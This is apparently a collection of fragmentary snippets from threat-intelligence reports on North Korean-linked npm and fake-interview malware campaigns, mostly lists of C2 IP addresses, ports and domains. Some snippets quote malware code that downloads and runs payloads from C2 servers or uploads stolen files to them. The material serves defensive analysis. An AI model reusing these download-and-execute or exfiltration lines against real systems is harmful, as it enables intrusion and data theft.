the IP 142.11.206.73.…","…에서 추출), 그리고 PID, 부모 PID, 사용자 이름, 명령줄이 포함된 전체 프로세스 목록(모두 /proc/ 에서 직접 읽어옴)을 전송(다른 운영체제와 동일) [Stage 4] Python RAT • 142.11.206.73:8000 (Express.js 구동)에 위치한 C2 서버는 POST 요청에 응답하여 페이로드를 제공(GET 요청시 500에러를 반환) • safedep 에 따르면 packages.npm.org/product2 를 사용해서 Linux의 2단계…","…IPs on Hostwinds: IP Campaign Year Source 142.11.206.73 Axios C2 (sfrclak.com) 2026 This analysis 142.11.209.109 Lazarus infrastructure 2025 Hunt.io cert hwc-hwp-7779700 142.11.209.144 KandyKorn/RustBucket 2023 SentinelOne…","…port, malware.name FROM malware WHERE ( ip = '104.168.198.145' OR ip = '23.254.164.50' OR ip = '192.236.146.20' OR ip = '142.11.209.109' OR ip = '192.119.116.231' OR ip = '192.236.233.162' OR ip = '192.236.176.164' OR ip = '192.236.236.100' OR ip = '192.236.146.22'…","…activity Crypto-assets and their risks for financial stability.app.zip https://t.co/jzuXP1YiQ6 Communicating with on-global.xyz (142.11.209.144) — KSE (@KSeznec) October 26, 2023 This application is also signed and notarized by Apple (since revoked) by a developer with the…","…Axios C2 (sfrclak.com) 2026 This analysis 142.11.209.109 Lazarus infrastructure 2025 Hunt.io cert hwc-hwp-7779700 142.11.209.144 KandyKorn/RustBucket 2023 SentinelOne 142.11.212.104 BlueNoroff (aulis.ventures) 2025 DarkAtlas 23.254.226.90 KandyKorn…","…Lazarus infrastructure 2025 Hunt.io cert hwc-hwp-7779700 142.11.209.144 KandyKorn/RustBucket 2023 SentinelOne 142.11.212.104 BlueNoroff (aulis.ventures) 2025 DarkAtlas 23.254.226.90 KandyKorn C2 (port 44) 2023 SentinelOne 23.254.253.75 Hidden…","…similar to the infrastructure matching the actors' infrastructure setup that may require additional examination. aulis.ventures → 142.11.212.104 → Hostwinds ASN Figure 16: Hunt certificate data Figure 17: Screenshot of aulis.ventures (Courtesy of urlscan.io) Conclusion This…","…Server ID close to axios C2 (1923 apart) but IDs are not sequential across subnets. 142.11.239.46 (same /18) — ehlpayment.com payment domain, Express+CORS+port 8000+MongoDB.…","…js : 57 const data = '@echo off\\ncurl -o Temp.b -L \"http://142.111.77.196/user/user.asp?id=237596\" > nul 2>&1\\nrename Temp.b package.db > nul 2>&1\\nrundll32 package.db,GenerateKey 1234\\ndel \"package.db\"\\nif exist…","…hmno/raw https://rentry.co/2p7kv9d8/raw https://cryptocopedia.com/explorer/search.asp?token=5032 142.111.77.196/user/user.asp?id=237596 142.111.77.196/user/user.asp?id=G6A822B 142.111.77.196/manage/manage.asp?id=745681 142.111.77.196/user/user.asp?id=518437 europe-west2-workload-422915.…","…Bianlian 136.0.3.240 Jan-24 Bianlian 136.0.8.169 Feb-25 Danabot 136.0.9.8 Jun-25 NPM Supply Chain (Ports: 27017 and 3306) 142.111.77.196 Jul-24 DPRK Moonsleet NPM 154.81.220.233 Feb-25 Redline Stealer 155.254.60.160 May-25 ViciousTrap CVE exploitation 156.227.0.187…","…August 21, 2025 (Thu) UTC - Anomaly Detected : A login from 142.214.202.2 (St.…","…42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160.181.2 167.88.61.117 167.88.61.148 169.38.75.87 169.38.98.22…","…(may be shared origin) 2 14.225.215.117 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 143.110.226.180 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 144.217.207.22 ipv4 insider August 2024…","…5.115 174.133.72.250 97.0.1.80 188.213.167.248 122.224.9.113 212.192.241.203 211.167.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.78.240.167 65.24…","…66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133…","…6.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235…","…https[ :// ]api.npoint.io/38acf86b6eb42b51b9c2 Markdown BeaverTail/InvisibleFerret Command & Control servers 107.189.25.109 144.172.100.142 144.172.103.97 144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146…","…6.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98…","….176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 1…","…OtterCookie victim C2 Active 86.106.85.234 4558 OtterCookie victim C2 Active 144.172.104.117 5918 OtterCookie victim C2 Active 144.172.101.45 1224 OtterCookie victim C2 Active 87.236.177.9 3000 BeaverTail C2 (env08539) Active Domains Domain Role Status elvengold.com…","…152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 1…","…Exfiltration Tactics and Infrastructure Once everything is staged, the malware sends the loot to a webserver in the US (144.172.101.45), using port 1224 and the /uploads path.…","…45.59.163.55, 216.250.251.87 OtterCookie C2s (confirmed): 172.86.105.40, 172.86.116.178, 86.106.85.234, 144.172.104.117, 144.172.101.45 Detection opportunity: Any server presenting this port configuration—particularly the unusual combination of 1224, 1244, 5918, 5934,…","….235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106…","…80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 1…","….235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155…","…9 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143…","…echo \"Authenticated\" followed by a wall of clear is all the victim sees. Host Paths Seen 84.200.33.163 /302/ From 2026-09-30 144.172.103.226 /301/ , /302/ From 2026-06-30 38.146.27.178 /302/ From 2026-09-10 216.126.239.166 /69/ 2026-09-22 3.…","…Markdown BeaverTail/InvisibleFerret Command & Control servers 107.189.25.109 144.172.100.142 144.172.103.97 144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89…","…203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107…","…135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108…","…– C2 #1 http://45.61.128.61:1224 – C2 #2 http://144.172.106.7:1224 – C2 #3 http://144.172.109.98:1224 – C2 #4 http://144.172.104.10:1224 – C2 #5 http://45.61.165.45:1224 – C2 #6 http://45.61.150.67:1224 – C2 backup http://135.181.123.177 – C2 WebSocket…","…135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 1…","…3.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138…","…138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144…","Direct-IP command-and-control endpoint for the October to November 2025 Contagious Interview npm wave; tetrismic.vercel.app is the Vercel-hosted staging endpoint Socket traced to the stardev0914 GitHub account.","…post ( \"http://144.172.104.117:5918/api/service/process/\" + uid, { OS : os.…","…OtterCookie victim C2 Active 172.86.116.178 5918 OtterCookie victim C2 Active 86.106.85.234 4558 OtterCookie victim C2 Active 144.172.104.117 5918 OtterCookie victim C2 Active 144.172.101.45 1224 OtterCookie victim C2 Active 87.236.177.9 3000 BeaverTail C2 (env08539) Active…","…66.235.168.238, 45.59.163.55, 216.250.251.87 OtterCookie C2s (confirmed): 172.86.105.40, 172.86.116.178, 86.106.85.234, 144.172.104.117, 144.172.101.45 Detection opportunity: Any server presenting this port configuration—particularly the unusual combination of 1224,…","…95.216.26.109 AS24940 Hetzner Online GmbH 107.189.20.115 AS14956 RouterHosting LLC 144.172.97.36 - - 144.172.104.196 AS14956 RouterHosting LLC 147.124.202.225 AS397423 Tier.Net Technologies LLC 151.241.109.136 AS47846…","….205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125…","…138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.…","…— Automated Collection T1657 — Financial Theft Indicators of Compromise (IOCs) # C2 Endpoints # 135.181.123.177 138.201.50.5 144.172.105.235 144.172.112.106 146.70.253.107 23.127.202.249 23.227.202.244 http://fashdefi.store:6168/defy/v7…","…— Travis Mathison 45.61.169.99 — Travis Mathison 23.106.253.194 — Travis Mathison 23.106.253.209 — Travis Mathison 144.172.105.235 — Socket.dev 172.86.98.240 1224, 1244 Travis Mathison 172.86.80.145 1224 Travis Mathison Shodan.io also reveals a Windows…","…= \"\\\"\" + homeDir + \"\\\\.pyp\\\\python.exe\\\" \\\"\" + _0x39065a + \"\\\"\"; try { fs.rmSync(_0x39065a); } catch (_0x255abc) {} request.get(\"http://144.172.105.235:1224/client/5346/324\", (_0x1ac422, _0x33c0f3, _0x4ccd8b) => { if (!_0x1ac422) { try { fs.writeFileSync(_0x39065a, _0x4ccd8b);…","…107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19…","…144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.12…","…user’s Keychain (macOS password database). Attempted to download a second-stage payload for persistence via curl curl -Lo \"p.zi\" \"http://144.172.105.235:1224/pdown\" Execute arbitrary Python scripts from the C2 server A WebSocket to receive and execute arbitrary shell commands Sandbox/VM…","…144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.12…","…C2 axios request Indicators of Compromise (IOCs) http://144.172.105.235:1224 – C2 #1 http://45.61.128.61:1224 – C2 #2 http://144.172.106.7:1224 – C2 #3 http://144.172.109.98:1224 – C2 #4 http://144.172.104.10:1224 – C2 #5 http://45.61.165.45:1224 – C2…","…44.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.23…","…144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.…","…144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.129 147.124.214.131 147.124.214.2…","…The pdown binary was observed to be requested from a different host again via curl, and the Python script was requested from http://144.172.109.98:1224/client/9/905 .…","…144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.129 147.124.214.1…","…2 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147…","…144.172.110.228 Related infrastructure 144.172.99.248 Related infrastructure 107.189.22.20 Related infrastructure 144.172.110.132 Related infrastructure 144.172.99.81 Related infrastructure 144.172.93.169 Related infrastructure 144.172.93.253…","…All exfiltration targets a single Vultr VPS at 144.172.110.132 across ports 8085, 8086, and 8087.E15 The remaining channels serve distinct payloads — from a 4 KB secondary loader that fetches a further…","…IP Address Notes 144.172.116.22 OtterCookie backend (ports 8085-8087) 144.172.110.96 Related infrastructure 144.172.110.228 Related infrastructure 144.172.99.248 Related infrastructure 107.189.22.20 Related infrastructure 144.172.110.132…","…key injection target Related Infrastructure IP Address Notes 144.172.116.22 OtterCookie backend (ports 8085-8087) 144.172.110.96 Related infrastructure 144.172.110.228 Related infrastructure 144.172.99.248 Related infrastructure 107.189.22.20…","…— Financial Theft Indicators of Compromise (IOCs) # C2 Endpoints # 135.181.123.177 138.201.50.5 144.172.105.235 144.172.112.106 146.70.253.107 23.127.202.249 23.227.202.244 http://fashdefi.store:6168/defy/v7 https://0927.vercel.app/api/ipcheck…","…144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.129 147.124.214.131 147.124.214.237 165.140.85.10…","…5 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.…","…2025, our system tracking Gamaredon’s Command-and-Control (C2) servers via known Telegram and Telegraph channels blocked an IP address: 144.172.112.106 Four days later, during a routine check, the same server was found hosting an obfuscated version of InvisibleFerret (SHA256:…","…http[://]138.201.50.5:5961/upload http[://]135.181.123.177/api/service/makelog http[://]144.172.96.35/api/service/makelog http[://]144.172.112.50/api/service/makelog http[://]172.86.73.46 http[://]135.181.123.177 http[://]172.86.113.12 Download URLs…","…as Cluster-3 135.181.123.177 Hetzner Online GmbH Same ASN as Cluster-3 144.172.96.35 ROUTERHOSTING Historically hosted on PONYNET 144.172.112.50 ROUTERHOSTING socket.io URL with mismatched pingTimeout parameter 172.86.73.46 ROUTERHOSTING Nothing of significance to mention…","…f16cf7a8bfbec3d7 http://138.201.50.5:5961/upload http://135.181.123.177/api/service/makelog http://144.172.96.35/api/service/makelog http://144.172.112.50/api/service/makelog http://172.86.73.46 http://135.181.123.177 http://172.86.113.12 https://www.npmjs.com/package/node-nvm-ssh https://bitb…","…from a compiled Python executable, the mechanisms would instead point to its own EXE. The C2 server IP and port are hardcoded - http://144.172.115.189:8080 . GolangGhost Deployment For macOS, the next stage is a bash script that downloads a ZIP from camdriver.pro to /var/tmp/WebCam.zip ,…","OtterCookie backend infrastructure (observed on ports 8085-8087), documented by Panther. Panther's report lists 8 additional backend IP addresses observed in the same probe; this entry represents the most clearly-labeled one rather than every address, to avoid an undifferentiated IP dump -- see the source for the full list.","…command history ~/.ssh/authorized_keys SSH key injection target Related Infrastructure IP Address Notes 144.172.116.22 OtterCookie backend (ports 8085-8087) 144.172.110.96 Related infrastructure 144.172.110.228 Related infrastructure…","…8 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.1…","…Control 8 ssh_env Match Host Files Named *.env for Target Reconnaissance Appendix - IOC 135.181.242.24 140.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.21…","…144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.1…","…IP 45.61.140.26 23.254.253.75 45.61.128.122 45.61.135.105 144.172.74.23 144.172.74.141 172.86.108.47 216.107.136.10 MD5 529fe6eff1cf452680976087e2250c02 SHA-256…","…Dropper Macho x86_64 IP Addresses 23.254.253.75 45.61.128.122 45.61.135.105 45.61.140.26 139.99.66.103 144.172.74.23 144.172.74.141 172.86.102.98 172.86.108.47 216.107.136.10 Domains…","…61.130.0 45.61.131.218 45.61.160.14 45.61.169.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.…","…ssh_env Match Host Files Named *.env for Target Reconnaissance Appendix - IOC 135.181.242.24 140.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.…","…144.172.104.10 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147…","….131.218 45.61.160.14 45.61.169.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.1…","…Host Files Named *.env for Target Reconnaissance Appendix - IOC 135.181.242.24 140.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88…","…IP 주소 1 172.86.84.38 2 45.61.150.31 3 94.131.97.195 4 144.172.97.7 5 185.235.241.208 6 45.61.128.110 7 144.172.86.27 8 185.153.182.241 9 45.137.213.30 10 86.104.74.51 11 45.128.52.14 URL No.…","…alextucker0519 2025-03-12 04:18:13 https://github.com/lukobogdan47/empty-array-validator 172.86.84.38:1224/client/9/901 144.172.86.27:1224/client/9/903 2 twitterapis taras_lakhai 2025-03-13 20:32:06 https://github.com/austin-a3/twitterapis…","…0 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 1…","…published an additional malicious package, empty-array-validator , which communicated with a separate command and control (C2) server at 144.172.87.27 on port 1224 . taras_lakhai and mvitalii , two newly identified accounts, use the same IP and port combination to connect to a C2 server…","…URL C2 https://ipcheck-hashed.vercel.app/api/auth/b4dadd6a26d820d08596 URL C2 144.172.89.18 IP C2 공유하기 게시글 관리 이스트시큐리티 알약 블로그 저작자표시 비영리 변경금지 (새창열림) ' 악성코드 분석 리포트 '…","…프로세스 생성 [표 3] 공격자 서버로 유출되는 정보 2.3 C2 통신 프로토콜 수집 및 캡처한 데이터를 crypto 모듈로 암호화한 뒤 JSON 형태로 구성해 axios.post로 공격자 서버(http://144.172.89.180:8086/upload)에 전송합니다.…","…recentservers.xml that had no prior history in our documentation of this operator or this infrastructure cluster. 195.201.104.53 144.172.89.198 216.126.227.239 Before getting to what those entries mean, it is worth explaining what recentservers.xml is.…","…144.172.89.231 (Cloudzy) — MODERATE Express.js + port 8000, CORS locked to https://coretrade.app Port 3389 (RDP) open with self-signed cert CN=…","…107.189.22.20 Related infrastructure 144.172.110.132 Related infrastructure 144.172.99.81 Related infrastructure 144.172.93.169 Related infrastructure 144.172.93.253 Related infrastructure References Jason Reaves, Mapping Ottercookie Infrastructure ,…","…144.172.110.132 Related infrastructure 144.172.99.81 Related infrastructure 144.172.93.169 Related infrastructure 144.172.93.253 Related infrastructure References Jason Reaves, Mapping Ottercookie Infrastructure , Walmart Global Tech Blog, April…","…URL:http://144.172.93.88:8080/gettext SHA256:72f96d15c4ffb3abadcac3ec4299714f35ca4b732ad7db3d268712ee0692d713 SHA256:0a716920017fba0b70b7295c6d7a06710df38c0d6158a12…","…RAT C2 server used by NICKEL ALLEY publicshare.org Domain name NICKEL ALLEY malware staging server for PyLangGhost RAT infections 144.172.93.88 IP address PyLangGhost RAT C2 server used by NICKEL ALLEY https://vscode-ext-git.vercel.app URL NICKEL ALLEY malware staging server…","…Markdown BeaverTail/InvisibleFerret Command & Control servers 107.189.25.109 144.172.100.142 144.172.103.97 144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129…","…66.235.168.17 66.235.168.232 66.235.168.238 66.235.175.109 66.235.175.117 67.203.7.163 67.203.7.200 67.203.7.205 88.218.0.78 107.189.24.80 144.172.95.226 144.172.100.124 144.172.100.142 144.172.102.21 144.172.102.148 144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7…","…113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237…","…http[://]138.201.50.5:5961/upload http[://]135.181.123.177/api/service/makelog http[://]144.172.96.35/api/service/makelog http[://]144.172.112.50/api/service/makelog http[://]172.86.73.46 http[://]135.181.123.177…","…at bitmex dot com. Indicators of Compromise (IoCs) Supabase URL https://mkswbddldpyiqkyu.supabase.co/ C2 URL http://144.172.96.35/ Threat Actor: Victor@3-KZH 107.182.231.193, 107.182.231.196, 120.226.22.28, 184.174.5.149, 223.104.144.97, 31.13.189.10,…","…to mention 138.201.50.5 Hetzner Online GmbH Same ASN as Cluster-3 135.181.123.177 Hetzner Online GmbH Same ASN as Cluster-3 144.172.96.35 ROUTERHOSTING Historically hosted on PONYNET 144.172.112.50 ROUTERHOSTING socket.io URL with mismatched pingTimeout parameter…","…name: CoinLocator-main coin-promoting-app-main 0xhpenvynb-mvp_gamba-6b10f2e9dd85 IP: 144.172.96.35 107.189.24.80 135.181.123.177 Favicon Hash: 41ee7ddb2be173686dc3a73a49b4e93bc883ef363acca770f7ede891451122ab Find this Story…","….188/api/service/process/c841b6c4ac4d2e83f16cf7a8bfbec3d7 http://138.201.50.5:5961/upload http://135.181.123.177/api/service/makelog http://144.172.96.35/api/service/makelog http://144.172.112.50/api/service/makelog http://172.86.73.46 http://135.181.123.177 http://172.86.113.12 https://www.n…","…_0x56f846.uts = _0x486521; _0x56f846.multi_file = _0x5371da; try { if (_0x5371da.length > 0 ) { const _0x4ca09a = { url : \"http://144.172.96.80:1224/uploads\" , formData : _0x56f846 }; request.post(_0x4ca09a, ( _0x3ae8f6, _0x3a2f2e, _0x14c423 ) => {}); } } catch (_0x531e0d) {}…","…3 events-utils edan0831 144.172.86.27 :1224/client/9/902 4 consolidate-log crouch626 144.172.96.80 :1224/client/8/80 5 empty-array-validator alextucker0519 172.86.84.38 :1224/client/9/901 6…","….189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227…","…Technologies LLC 95.216.26.109 AS24940 Hetzner Online GmbH 107.189.20.115 AS14956 RouterHosting LLC 144.172.97.36 - - 144.172.104.196 AS14956 RouterHosting LLC 147.124.202.225 AS397423 Tier.Net Technologies LLC…","…IP 주소 1 172.86.84.38 2 45.61.150.31 3 94.131.97.195 4 144.172.97.7 5 185.235.241.208 6 45.61.128.110 7 144.172.86.27 8 185.153.182.241 9 45.137.213.30 10 86.104.74.51 11 45.128.52.14…","…Markdown BeaverTail/InvisibleFerret Command & Control servers 107.189.25.109 144.172.100.142 144.172.103.97 144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129 147.124.214.131…","….93.32.117 103.35.188.237 23.227.203.204 217.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51 23.227.202.52 172.86.116.90 144.172.97.7 95.179.135.133 37.60.234.203 107.172.31.179 188.255.239.34 197.182.186.212 43.136.234.140 192.210.215.11 46.28.70.102 156.245.19.127 155.15…","…OtterCookie backend (ports 8085-8087) 144.172.110.96 Related infrastructure 144.172.110.228 Related infrastructure 144.172.99.248 Related infrastructure 107.189.22.20 Related infrastructure 144.172.110.132 Related infrastructure 144.172.99.81…","…144.172.99.248 Related infrastructure 107.189.22.20 Related infrastructure 144.172.110.132 Related infrastructure 144.172.99.81 Related infrastructure 144.172.93.169 Related infrastructure 144.172.93.253 Related infrastructure References Jason…","…(may be shared origin) 2 143.110.226.180 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 144.217.207.22 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 146.190.114.113 ipv4 insider August 2024…","Direct-IP command-and-control endpoint for the XORIndex and HexEval loaders in the July 2025 Contagious Interview npm wave, reported by Socket.","…post ( 'http://144.217.86.88/uploads' , // Hardcoded C2 fs.…","….0.0 141.98.6.105 91.206.92.208 148.251.71.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.6.1 3.130.37.158 94.142.138.111 94.75.201.1 144.48.240.85 91.224.92.26 94.130.200.99 